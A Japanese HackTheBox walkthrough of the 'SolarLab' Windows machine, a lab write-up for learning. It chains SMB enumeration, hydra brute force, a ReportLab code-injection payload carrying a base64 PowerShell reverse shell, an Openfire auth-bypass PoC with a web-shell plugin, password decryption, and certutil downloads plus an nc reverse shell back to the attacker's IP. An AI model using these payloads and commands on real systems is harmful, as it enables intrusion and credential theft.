今回はHackTheBoxのMediumマシン「SolarLab」のWriteUpです。
名前からはどのようなマシンなのかわかりませんね。楽しみです。
グラフはいつものMediumという感じですね。
攻略目指して頑張ります！
HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！
SolarLab
列挙
それでは攻略を開始しましょう。
まずはnmapから実行します。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.129.111.141
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
HTTPとSMBがオープンしています！サブドメインを使用したWEBとして6791番ポートもオープンしていますね。まずはWEBへアクセスしてみます。
80番はかっこいい感じのサイトが表示されました。サイトを軽く確認してみましたが、他に遷移はなさそうです。6791番ポートも確認してみましょう。
ログイン画面が表示されました。ただ認証情報はなく、SQLインジェクションも発火しませんでした。あとで認証情報を取得できた後、調査することになると思うので一旦放置しておきます。
NULL Session
では、続いてSMBをチェックします。NULLセッションで接続できるか試してみましょう。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ smbclient -N -L '\\10.129.111.141'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.111.141 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
NULLセッションでの接続に成功し、共有を確認できました。さらに、デフォルトではないDocumentsという共有も確認できたので、アクセスしてみましょう。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ smbclient -N '\\10.129.111.141\Documents'
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Apr 26 10:47:14 2024
.. DR 0 Fri Apr 26 10:47:14 2024
concepts D 0 Fri Apr 26 10:41:57 2024
desktop.ini AHS 278 Fri Nov 17 05:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 07:27:21 2023
My Music DHSrn 0 Thu Nov 16 14:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 14:36:51 2023
My Videos DHSrn 0 Thu Nov 16 14:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 05:35:57 2023
7779839 blocks of size 4096. 1894237 blocks available
多くのファイルがありますが、一番気になるのはdetails-file.xlsxです。とりあえずダウンロードします。
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (11.8 KiloBytes/sec) (average 11.8 KiloBytes/sec)
ダウンロードできたので、中身を見てみましょう。
認証情報が書かれています！
Custom Userlist
Excelで見つけた認証情報を、ログイン画面で使用するのかと思いましたが...
認証情報が間違っているどころか、ユーザが存在しないというメッセージが表示されました。しかし、Excelファイルで書かれたユーザ名が架空のものというのは少し違和感を感じます。もう一度ユーザ名の一覧を確認してみます。
Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
現状はこのユーザ名をそのまま使用しただけでしたが、フルネームで書かれた二つのユーザ名（Alexander.knightとblake.byte）はカスタムできそうな雰囲気があります。username-anarchyを実行し、カスタムユーザリストを作成します。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ /opt/original/username-anarchy/username-anarchy -i user.txt | tee custom_user.txt
alexander
alexanderknight
alexander.knight
alexande
alexknig
alexanderk
a.knight
aknight
kalexander
k.alexander
knighta
knight
knight.a
knight.alexander
ak
blake
blakebyte
blake.byte
blakebyt
blakbyte
blakeb
b.byte
bbyte
bblake
b.blake
byteb
byte
byte.b
byte.blake
bb
ユーザリストが作成できました。これをすべて手動で試すのはしんどいので、hydraを使用して「User not found」が返ってこない有効なユーザ名を見つけます。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ hydra -L custom_user.txt -p password report.solarlab.htb -s 6791 http-post-form '/login:username=^USER^&password=password:User not found.'
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 06:27:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:30/p:1), ~2 tries per task
[DATA] attacking http-post-form://report.solarlab.htb:6791/login:username=^USER^&password=password:User not found.
[6791][http-post-form] host: report.solarlab.htb login: alexanderk password: password
[6791][http-post-form] host: report.solarlab.htb login: blakeb password: password
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 06:27:43
有効なユーザ名を二つ発見できました！
それぞれのユーザでログインできないか試したところ...
blakebというユーザ名でのログインに成功しました！
パスワードはThisCanB3typedeasily1@です。
CVE-2023-33733
では、ログイン後のWEBを見ていきましょう。
一番上に「Leave Request」と「Training Request」というボタンがあります。とりあえず「Leave Request」を見てみます。
フォーム画面が表示されました。一番下のボタンに「Generate PDF」があるので、PDFを生成することができるようです。
ファイルのアップロード機能があったり、コードを書くことができる機能があるので、色々とできそうですが、とりあえず適当に入力し、PDFを作ってみることにします。
ファイルのアップロードには画像のみが許可されていたので、普通の画像を指定しています。入力できたら「Generate PDF」を押下します。
生成されたPDFが表示されました。タグはエスケープ処理されているみたいですね。指定した画像は右下に小さく表示されています。PDF系では生成ツールに脆弱性が存在することが多いので、このPDFをダウンロードし、exiftoolを実行してみましょう。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ exiftool output2.pdf
ExifTool Version Number : 12.76
File Name : output2.pdf
Directory : .
File Size : 212 kB
File Modification Date/Time : 2024:05:12 10:58:18-04:00
File Access Date/Time : 2024:05:12 10:58:18-04:00
File Inode Change Date/Time : 2024:05:12 10:58:18-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:05:12 17:54:50-02:00
Creator : (unspecified)
Modify Date : 2024:05:12 17:54:50-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
ReportLab PDF Libraryが使用されているようです。脆弱性がないかをGoogleで調べてみると以下の記事を発見しました。
GitHubには脆弱性の詳細がまとまっており、PoCコードも公開されています。
どうやら、過去に発見されたRCEの脆弱性への対策をバイパスすることで、同じようにRCEを発火させることが可能なようです。
説明の下にはExploitコードも書かれていますが、記事の一番下にも「What's Else?」としてExploitコードが書かれています。
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
私はこのExploitコードに目を付けました。理由は実際のリクエストにタグが使用されており、コードが短いことです。
しかし、一つだけ問題があります。それは入力文字数の制限があることです。
入力欄の下に「10/300 characters」と書かれており、300文字までという制限があることがわかります。
試しに入力してみましたが、300文字超えてしまいます。一見無理そうな感じがしますが、そんなことはありません。300文字の制限があるのは、Justificationだけなので日付などの部分に入力すればよいのです。
blake としてのシェル
それでは、日付の箇所にExploitコードを入力し、シェルの取得を目指します。
使用したペイロードは「PowerShell #3 (Base64)」です。
Content-Disposition: form-data; name="time_interval"
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA1ACIALAAyADEAMgAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
それでは、待ち受けを作成したうえでリクエストを送信しましょう！
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.237.5] 49859
PS C:\Users\blake\Documents\app> whoami
solarlab\blake
シェルを取得できました！
PS C:\Users\blake\Desktop> dir
Directory: C:\Users\blake\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/13/2024 11:08 AM 34 user.txt
ユーザフラグも取得できました。
横移動
それでは内部の列挙を始めていきましょう。
まずは権限を確認します。
PS C:\Users\blake\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
権限はかなり厳しく制限されているようです。
グループも見てみます。
PS C:\Users\blake\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
こちらも特に気になるものはないです。
インストールされているサービスも確認してみます。
PS C:\Program Files> dir
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/16/2023 9:39 PM Common Files
d----- 4/26/2024 4:39 PM Internet Explorer
d----- 11/17/2023 10:04 AM Java
d----- 11/16/2023 9:47 PM Microsoft Update Health Tools
d----- 12/7/2019 11:14 AM ModifiableWindowsApps
d----- 11/17/2023 2:22 PM Openfire
d----- 4/26/2024 2:38 PM RUXIM
d----- 5/3/2024 2:34 PM VMware
d----- 11/16/2023 11:12 PM Windows Defender
d----- 4/26/2024 4:39 PM Windows Defender Advanced Threat Protection
d----- 11/16/2023 10:11 PM Windows Mail
d----- 11/16/2023 10:11 PM Windows Media Player
d----- 4/26/2024 4:39 PM Windows Multimedia Platform
d----- 12/7/2019 11:50 AM Windows NT
d----- 11/16/2023 10:11 PM Windows Photo Viewer
d----- 4/26/2024 4:39 PM Windows Portable Devices
d----- 12/7/2019 11:31 AM Windows Security
d----- 12/7/2019 11:31 AM WindowsPowerShell
Openfireというサービスを発見しました。
netstatを実行し、内部でポートが開いているかどうかを確認してみます。
PS C:\Program Files\Openfire> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4508
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 900
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 1604
...
TCP 127.0.0.1:5000 0.0.0.0:0 LISTENING 5184
TCP 127.0.0.1:5222 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5223 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5262 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5263 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5269 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5270 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5275 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:5276 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:7070 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:7443 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 2372
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 2372
...
多くのポートが開いています。Openfireのデフォルトポートは9090番と9091番なので、内部でサービスが動いていそうです。Kaliからアクセスできるようにchiselを使用します。
> Kali
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ /opt/too1s-l1nux/chisel server -p 8000 --reverse
2024/05/14 11:24:51 server: Reverse tunnelling enabled
2024/05/14 11:24:51 server: Fingerprint 5Z+0pdKRz3vsqhzThwmZuqHtnGRhnsn+9DyfFZoTB8o=
2024/05/14 11:24:51 server: Listening on http://0.0.0.0:8000
> Target
PS C:\Users\blake\Downloads> ./chisel.exe client 10.10.14.65:8000 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
実行に成功したら、ブラウザでアクセスしてみます。
ログイン画面が出力されました。
Excelに書いてある認証情報を試してみましたが、ログインできませんでした。
CVE-2023-32315
内部探索で認証情報を見つけていくのかと思いましたが、ログインボタンの下にOpenfireのバージョンが書かれていることに気づきました。バージョン4.7.4が使用されているようなので、脆弱性を検索したところ以下の記事を発見しました。
認証バイパスの脆弱性が存在しています！PoCも公開されており、実行することで管理者権限をもったユーザを新規に追加することができるようです。追加に成功すると、同フォルダ内に保存されているJARファイルをアップロードすることで、WEBシェルが実行できます。
では、実際にPoCを実行していきましょう。
+[~/solarlab/CVE-2023-32315]
(σ▰>∇<)σ<10.10.14.3>$ python3 CVE-2023-32315.py -t http://127.0.0.1:9090
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗██╔═══╝ ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝███████╗██████╔╝ ██║███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01fr52sz9p4xu1va6ubc3lc49c1.node0 + csrf: vKqrzEX46X8vVGd
User added successfully: url: http://127.0.0.1:9090 username: msj2uu password: ezg7o9
ユーザの追加に成功していそうです。
出力されているユーザ名とパスワードを使用し、ログインしましょう。
ログインに成功しました！
では、GitHubにも記載されている手順に沿ってWEBシェルへアクセスしましょう。まずはタブの中の「Plugins」を押下します。
画面の下側に「Upload Plugin」と表示されており、プラグインがアップロードできるのでGitHubからダウンロードしたopenfire-management-tool-plugin.jarをアップロードします。
アップロードに成功したら、「Server」タグから「Server Settings」へ移動し、「Management tool」を押下します。
ログイン画面が表示されるので、「123」と入力し、ログインします。
「Management tool」へアクセスできました。はじめは「Program home page」が表示されています。WEBシェルにアクセスするため、右上のドロップダウンメニューから「system command」を選択します。
WEBシェルへアクセスできました！
試しにwhoamiを入力し、実行してみましょう。
コマンドの実行に成功しました！
openfire としてのシェル
それでは、実際にシェルを取得しましょう。
blakeユーザのシェルを取得したときと同じように、「PowerShell #3 (Base64)」を入力し、コマンドを実行します。
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.3>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.16] 62353
PS C:\Program Files\Openfire\bin> whoami
solarlab\openfire
シェルの取得に成功しました！
権限昇格
いよいよ攻略も終盤です。権限昇格を目指していきます。
PS C:\Program Files\Openfire> dir
Directory: C:\Program Files\Openfire
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2023 2:11 PM .install4j
d----- 11/17/2023 2:11 PM bin
d----- 5/16/2024 4:36 PM conf
d----- 11/17/2023 2:11 PM documentation
d----- 5/16/2024 4:36 PM embedded-db
d----- 11/17/2023 2:11 PM lib
d----- 11/17/2023 2:24 PM logs
d----- 5/16/2024 6:13 PM plugins
d----- 11/17/2023 2:11 PM resources
-a---- 11/9/2022 5:59 PM 375002 changelog.html
-a---- 2/16/2022 5:55 PM 10874 LICENSE.html
-a---- 2/16/2022 5:55 PM 5403 README.html
-a---- 11/9/2022 6:00 PM 798720 uninstall.exe
openfireとしてのシェルを取得したことで、Openfire関連のファイルを読むことができるようになったので、列挙することにしました。
Openfire Decrypt
列挙を続けていると、embedded-dbというディレクトリを発見し、名前的にも認証情報など見ることができそうなので、確認してみました。
PS C:\Program Files\Openfire\embedded-db> dir
Directory: C:\Program Files\Openfire\embedded-db
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/16/2024 4:36 PM openfire.tmp
-a---- 5/16/2024 4:36 PM 0 openfire.lck
-a---- 5/16/2024 6:13 PM 2496 openfire.log
-a---- 5/16/2024 4:36 PM 106 openfire.properties
-a---- 5/7/2024 9:15 PM 16161 openfire.script
ログファイルやスクリプトファイルがあります。スクリプトファイルを確認してみると...
PS C:\Program Files\Openfire\embedded-db> type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
...
SET SCHEMA SYSTEM_LOBS
INSERT INTO BLOCKS VALUES(0,2147483647,0)
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
INSERT INTO OFOFFLINE VALUES('admin',1,'001700223778861',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.7.5</body></message>')
INSERT INTO OFOFFLINE VALUES('admin',2,'001700223779069',125,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Search 1.7.4</body></message>')
...
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''RoomStatistics.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.maxLifetime','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.auth.className','org.jivesoftware.openfire.auth.DefaultAuthProvider',0,NULL)
...
adminのパスワードが出力されました！見るからに暗号化されていそうです。
どのような暗号方式が使用されているかを見ていると、Openfireの復号は独自のツールを使用する必要があることがわかりました。
ツールは以下のGitHubに公開されています。
では実際に復号してみましょう。
+[~/solarlab/openfire_decrypt]
(σ▰>∇<)σ<10.10.14.3>$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
復号に成功しました！
administrator としてのシェル
パスワードを取得できたので、あとはシェルを取得するだけです。
シェルの取得には、RunasCsを使用します。
では、RunasCsを実行しますが、アップロードさせる必要があります。
RunasCsでは、nc.exeを実行させるので、nc.exeも一緒にアップロードさせましょう。
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.3:8080/RunasCs.exe RunasCs.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.3:8080/nc.exe nc.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
アップロードに成功したら、実行しましょう。
PS C:\Users\Public\Downloads> ./RunasCs.exe Administrator ThisPasswordShouldDo!@ "C:\Users\Public\Downloads\nc.exe 10.10.14.3 2124 -e powershell"
実行後、待ち受けを確認すると...
+[/opt/too1s-w1ndows]
(σ▰>∇<)σ<10.10.14.3>$ rlwrap nc -lnvp 2124
listening on [any] 2124 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.16] 52914
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
whoami
solarlab\administrator
権限昇格成功です！
PS C:\Users\Administrator\Desktop> dir
dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/16/2024 4:36 PM 34 root.txt
ルートフラグも無事取得し、完全攻略達成です～！